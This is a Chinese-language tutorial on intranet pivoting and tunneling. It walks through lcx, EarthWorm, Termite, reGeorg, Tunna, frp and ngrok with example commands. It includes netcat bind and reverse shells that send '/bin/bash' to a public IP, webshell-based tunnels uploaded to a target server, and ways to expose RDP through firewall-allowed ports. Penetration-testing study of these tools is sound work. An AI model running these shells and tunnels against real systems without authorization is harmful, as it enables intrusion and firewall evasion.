内网端口转发及穿透

内网端口转发及穿透

一、LCX

  • lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap。
  • lcx有两大功能:
    • 1.端口转发(listen和slave成对使用
    • 2.端口映射(tran)

1.lcx 内网端口转发(类似于SSH远程转发-R)

  • 内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口,意思是把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口。
  • 公网主机上执行:lcx.exe –listen 公网主机端口1 公网主机端口2,意思是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。

    1
    2
    内网:lcx.exe -slave 公网主机IP 4444 127.0.0.1 3389 或者 $ portmap -m 3 -h1 公网IP -p1 4444 -h2 127.0.0.1 -p2 3389
    公网:lcx.exe –listen 4444 5555 或者 $ portmap -m 2 -p1 4444 -p2 5555
  • 此时直接访问:公网IP:5555,即可转发到内网IP的3389

2.本地端口转发(类似于SSH本地转发-L)

  • 由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,目标主机上执行:

    1
    lcx.exe -tran 53 目标主机IP 3389 或者 $ portmap -m 1 -p1 53 -h2 目标IP -p2 3389
  • 这时我们可以直接远程桌面连接到目标主机IP:53

二、nc反弹

正向连接

  • 在公网主机上执行下面命令,监听8888端口,等待连接:

    1
    $ nc -l -p 8888 -e /bin/bash
  • 在本地主机上执行下面命令,获得一个shell:

    1
    $ nc ip 8888

反向连接

  • 在公网主机上进行监听:

    1
    $ nc -lvp 8888
  • 在内网主机上执行下面命令,将shell反弹给公网IP:

    1
    $ nc -e /bin/bash 公网IP 8888

三、socks代理工具

  • SOCKS代理客户端Linux可用proxychains,Windows可用Proxifier或者SocksCap64。
  • Proxychains 是一款 LINUX 平台下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器。
  • Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。支持 64位系统,支持Xp,Vista,Win7,MAC OS ,支持socks4,socks5,http代理协议,支持TCP,UDP协议,可以指定端口,指定IP,指定域名,指定程序等运行模式,兼容性非常好。有点类似SOCKSCAP。
  • SocksCap64 是一款在 windows 下相当好使的全局代理软件。SocksCap64 可以使 Windows 应用程序通过 SOCKS 代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持 SOCKS 代理的应用程序通过 SocksCap64 之后都可以完美的实现代理访问。此软件已经停止更新。

(1)Earthworm

  • EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。官方地址:http://rootkiter.com/EarthWorm
  • 该工具共有 6 种命令格式:ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran

    1.正向SOCKS v5服务器

  • 直接在服务器上面执行下面命令,将本机作为SOCKS5服务器使用,一般是在公网IP上面执行:

    1
    $ ./ew -s ssocksd -l 1080
  • 然后将该主机作为SOCKS5服务器:

    1
    $ curl ip.cn -x socks5://公网IP:1080

2.反弹SOCKS v5服务器

  • 这个操作具体分两步:
  • (1)先在一台具有公网 ip 的主机A上运行以下命令:

    1
    $ ./ew -s rcsocks -l 1080 -e 8888
  • (2)在目标主机B上启动SOCKS v5服务,并反弹到公网主机的8888端口:

    1
    $ ./ew -s rssocks -d 1.1.1.1 -e 8888
  • 让后通过公网1080端口将内网主机作为SOCKS5服务器:

    1
    $ curl ip.cn -x socks5://1.1.1.1:1080

3.多级级联

  • 工具中自带的三条端口转发指令,参考lcx工具命令,它们的参数格式分别为:

    1
    2
    3
    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
    $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
  • 通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如SOCKS v5。

二级级联案例
  • 1.lcx_tran 的用法

    1
    2
    $ ./ew -s ssocksd -l 9999 # 将本机9999端口作为SOCKS5服务器
    $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 # 将本机的1080端口转发到127.0.0.1上的9999端口
  • 2.lcx_listen、lcx_slave 的用法

    1
    2
    3
    $ ./ew -s lcx_listen -l 1080 -e 8888 # 监听1080端口并转发到8888端口
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 # 将127.0.0.19999端口转发到127.0.0.18888端口
    $ ./ew -s ssocksd -l 9999 # 将本机9999端口作为SOCKS5服务器
  • 数据流流向:SOCKS v5 -> 1080 -> 8888 -> 9999 -> rssocks

三级级联案例
1
2
3
4
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
  • 数据流向:SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

4.补充说明

  • 1.为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒),用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制将以隧道中最短的时间为默认值。
  • 2.多级级联的三种状态可以转发任意以TCP为基础的通讯服务,包括远程桌面/ssh服务 等。
  • 3.ew_for_arm_32 在android手机、小米路由器和树莓派 上测试无误。

(2)Termite

  • Termite是EarthWorm的最新版,多种操作系统下均有Agent实现、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便。官方地址:http://rootkiter.com/Termite/
  • Termite分为管理端(admin端)和被管理端(agent端),所有的被管理及其必须要部署agent。agent可以相互连接,被上游agent所管理。
    结构图

使用方法

  • 1.以服务模式启动一个agent服务。

    1
    > $ ./agent -l 8888
  • 2.令管理端连接到agent并对agent进行管理。

    1
    > $ ./admin -c 127.0.0.1 -p 8888
  • 3.此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。

    1
    >> help
  • 4.通过show指令可以得到当前agent的拓扑情况。

    1
    2
    3
    >> show
    0M
    +-- 1M
  • 由于当前拓扑中只有一个agent,所以展示结果只有 1M,其中1 为节点的ID号,M为MacOS系统的简写,Linux为L,Windows简写为W。

  • 5.将新agent加入当前拓扑

    1
    > ./agent -c 127.0.0.1 -p 8888
  • 6.此时show指令将得到如下效果

    1
    2
    3
    4
    0M
    +-- 1M
    | +-- 2M
    # 这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。
  • 7.在2节点开启socks代理,并绑定在本地端口

    1
    2
    >> goto 2 #将当前被管理节点切换为 2 号节点。
    >> socks 1080 # 此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。
  • 8.在1号节点开启一个shell并绑定到本地端口

    1
    2
    >> goto 1
    >> shell 7777 # 此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell
  • 9.将远程的文件下载至本地

    1
    2
    >> goto 1
    >> downfile 1.txt 2.txt # 将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt
  • 10.上传文件至远程节点

    1
    2
    >> goto 2
    >> upfile 2.txt 3.txt # 将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt
  • 11.端口转接

    1
    2
    >> goto 2
    >> lcxtran 3388 10.0.0.1 3389 # 以2号节点为跳板,将 10.0.0.13389 端口映射至本地的 3388 端口
  • 更多支持:

(3)Dog Tunnel

  • Dog Tunnel是一款基于kcp的p2p端口映射工具,同时支持socks5代理。在KCP出现后进行了重构,将其底层UDP支持替换为了KCP,使其效率大大提高,在某些恶劣的网络环境下依旧能有不错的效果。当然,它也是支持TCP模式的,另外它也是支持加密的,在P2P打洞失败的情况下也能够自动切换为C/S模式来使用服务器中转。官方地址:https://github.com/vzex/dog-tunnel

使用方法

结构图

  • dtunnel_s 为服务端 dtunnel 为客户端。远端是最终要连接的端口,通常是内网服务器,近端是本地需要连接的端口,通常是本地。
  • dtunnel_s 启动时会监听一个tcp端口,通过-addr设置,如果需要-ssl(默认是false),那么要指定-cert加载ssl证书,之后客户端连接也要打开-ssl开关(默认是true的) -addrudp 是p2p打洞的辅助udp端口,能提高打洞成功率,对应dtunnel参数-buster指定同样的ip和端口
  • dtunnel_s 支持远程接口管理,如果需要,可通过-admin 指定ip:端口,比如-admin 127.0.0.1:1234
  • 使用方法:
  • 1.首先在公网服务器上面启动服务,监听端口:

    1
    $ dtunnel_s -addr 0.0.0.0:8888 -ssl=false
  • 服务端参数说明:

    • -addr:服务端地址,默认是:0.0.0.0:8000
    • -addrudp:UDP服务端地址,用于P2P辅助打洞,默认是:0.0.0.0:8018
    • -admin:管理接口,用于提供API方便管理,如:0.0.0.0:1234
    • -ssl:启用ssl支持,启用需要指定-cert和-cert参数,默认关闭,有bug,必须加上-ssl=false来关闭ssl
    • -https:启用管理接口的HTTPS支持,需要指定-cert和-cert参数,默认关闭
    • -cert:证书路径
    • -key:证书密钥路径
    • -dbhost:数据库服务器
    • -dbpass:数据库密码
    • -dbuser:数据库用户
    • -replace:如果客户端注册名冲突,踢掉之前的,默认关闭
    • -version:显示版本
  • 2.远端客户端连接服务端:

    1
    2
    3
    $ dtunnel -buster 1.2.3.4:8018 -remote 1.2.3.4:8888 -mode 0 -reg redis -local :6379 -addip 127.0.0.1 -clientkey password -ssl=false
    # 如果需要开启SOCKS5服务,修改-local参数即可,近端无需修改
    $ dtunnel -buster 1.2.3.4:8018 -remote 1.2.3.4:8888 -mode 0 -reg redis -local socks5 -addip 127.0.0.1 -clientkey password -ssl=false
  • 3.近端客户端了解客户端:

    1
    $ dtunnel -buster 1.2.3.4:8018 -remote 1.2.3.4:8888 -mode 0 -link redis -local :9999 -addip 127.0.0.1 -clientkey password -ssl=false -encrypt
  • 客户端参数说明:

    • -addip:出口IP(单个或列表),注意:对于多公网ip的终端,请用-stun参数指定stun服务器辅助连接,或者用-addip参数手工指定出口ip列表,默认是:127.0.0.1
    • -remote:远程服务器,用于C/S模式,对应服务端-addr地址端口
    • -buster:打洞服务器,用于P2P模式,对应服务端-addrudp端口地址
    • -clientkey:客户端Key,用于远端和近端认证,需一致
    • -reg:注册名,远端使用
    • -link:连接的注册名,近端使用,用于识别连接远端
    • -local:本地监听端口,填socks5则为socks5代理服务
    • -encrypt:P2P模式加密,近端才能使用
    • -mode:连接模式(0:P2P打洞失败后切换为C/S 1:只使用P2P 2:只使用C/S)
    • -compress:压缩数据,远端和近端需一致
    • -debug:调试模式
    • -delay:打洞失败后重试延迟,秒
    • -dnscache:DNS缓存有效期,如果大于0将定时清空DNS缓存,分钟
    • -f:从文件中加载配置
    • -kcp:kcp配置,远端和近端需一致
    • -key:访问Key(服务端数据库中的AuthKey)
    • -pipen:管道数
    • ds:数据纠错?仅在P2P模式有效,远端和近端需一致
    • -ps:奇偶校验?仅在P2P模式有效,远端和近端需一致
    • -ssl:启用ssl支持,默认启用,服务端没有启用的话请使用-ssl=false来关闭,有bug,必须加上-ssl=false来关闭ssl
    • -v:输出详细日志
    • -version:显示版本
  • 5.访问:访问近端(本地)9999端口即可连接到远端6379端口。或者通过本地9999端口连接SOCKS5服务器:
    1
    2
    3
    $ nc 127.0.0.1 9999
    # 或者
    $ curl ip.cn -x socks5://127.0.0.1:9999

(4)reGeorg

  • reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。官方地址:https://github.com/sensepost/reGeorg

使用方法

  • 1.将tunnel.(aspx|ashx|jsp|php)上传到服务器
  • 2.运行该来程序启动代理:

    1
    $ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
  • 3.使用SOCKS客户端连接使用IP:8080服务器。

    1
    $ curl ip.cn -x socks5://127.0.0.1:8080

(5)sSocks

  • sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试。官方地址:http://sourceforge.net/projects/ssocks/
  • 下载解压后,执行命令编译

    1
    ./configure && make
  • 编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:

    • nsocks:类似通过Socks5代理后的netcat,可用来测试socks server
    • ssocksd:用来开启Socks5代理服务
    • ssocks:本地启用Socks5服务,并反弹到另一IP地址
    • rcsocks:接收反弹过来的Socks5服务,并转向另一端口

使用方法

  • 公网主机上执行:

    1
    $ rcsocks -l 4444 -p 5555 -vv
  • 内网主机上执行:

    1
    $ rssocks –vv –s 公网主机ip:5555
  • 这时本地主机可以通过访问公网主机的 4444 端口访问内网主机:

    1
    $ curl ip.cn -x socks5://公网IP:4444

(6)Tunna

  • Tunna是一组通过HTTP包装的TCP隧道工具。 它可用于在完全防火墙环境中绕过网络限制。该工具使用的先决条件:能够在远程服务器上上传webshell。官方地址:https://github.com/SECFORCE/Tunna

使用方法:

  • 命令格式:python proxy.py -u remoteurl -l localport [options]
  • 常用参数:
    • –lport=LOCAL_PORT,-l:LOCAL_PORT代表本地侦听端口
    • –verbose,-v:详细(输出数据包大小)
    • –buffer=BUFFERSIZE,-b:BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
    • –no-socks,-n:不使用 Socks 代理
    • –rport=REMOTE_PORT,-r:REMOTE_PORT远程服务端口,供webshell连接
    • –addr=REMOTE_IP,-a:REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1)
    • –up-proxy=UPPROXY,-x:UPPROXY上游代理(http://proxyserver.com:3128)
    • –auth,-A :上游代理需要认证
    • –ping-interval=PING_DELAY,-q:PING_DELAY webshprx pinging线程间隔(默认值为0.5)
    • –start-ping,-s:首先启动ping线程 - 一些服务首先发送数据(例如,SSH)
    • –cookie,-C:请求cookies
  • 使用实例:
    1
    2
    $ python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v
    # 通过连接本地的4444端口转发到服务器的3389端口

四、内网穿透

(1)frp

  • frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。官方网站:https://github.com/fatedier/frp
  • frp 的作用:
    • 利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。
    • 对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
    • 利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。
  • 具体使用方法见文档

(2)ngrok

  • 一条命令即可穿透内网,将内网服务映射到公网URL上。官方地址:https://ngrok.com/

使用方法

  • 命令格式:ngrok tunnel local_ports
  • 将程序放到需要映射的主机,然后执行命令,如:

    1
    $ ngrok http 80 # 映射本地80端口的HTTP服务
  • 返回一个*.ngrok.io地址,访问改地址即可访问内网服务。

  • 其他协议:
    1
    2
    3
    $ ngrok http foo.dev:80 # 映射host:80隧道,而不是本地端口
    $ ng0rok tcp 22 # 映射22端口的TCP隧道
    $ ngrok tls -hostname=foo.com 443 # foo.com的TLS流量到443端口的隧道

(3)其他内网穿透平台

参考文章

文章目录
  1. 1. 一、LCX
    1. 1.1. 1.lcx 内网端口转发(类似于SSH远程转发-R)
    2. 1.2. 2.本地端口转发(类似于SSH本地转发-L)
  2. 2. 二、nc反弹
    1. 2.1. 正向连接
    2. 2.2. 反向连接
  3. 3. 三、socks代理工具
    1. 3.1. (1)Earthworm
      1. 3.1.1. 1.正向SOCKS v5服务器
      2. 3.1.2. 2.反弹SOCKS v5服务器
      3. 3.1.3. 3.多级级联
        1. 3.1.3.1. 二级级联案例
        2. 3.1.3.2. 三级级联案例
      4. 3.1.4. 4.补充说明
    2. 3.2. (2)Termite
      1. 3.2.1. 使用方法
    3. 3.3. (3)Dog Tunnel
      1. 3.3.1. 使用方法
    4. 3.4. (4)reGeorg
      1. 3.4.1. 使用方法
    5. 3.5. (5)sSocks
      1. 3.5.1. 使用方法
    6. 3.6. (6)Tunna
      1. 3.6.1. 使用方法:
  4. 4. 四、内网穿透
    1. 4.1. (1)frp
    2. 4.2. (2)ngrok
      1. 4.2.1. 使用方法
    3. 4.3. (3)其他内网穿透平台
  5. 5. 参考文章
|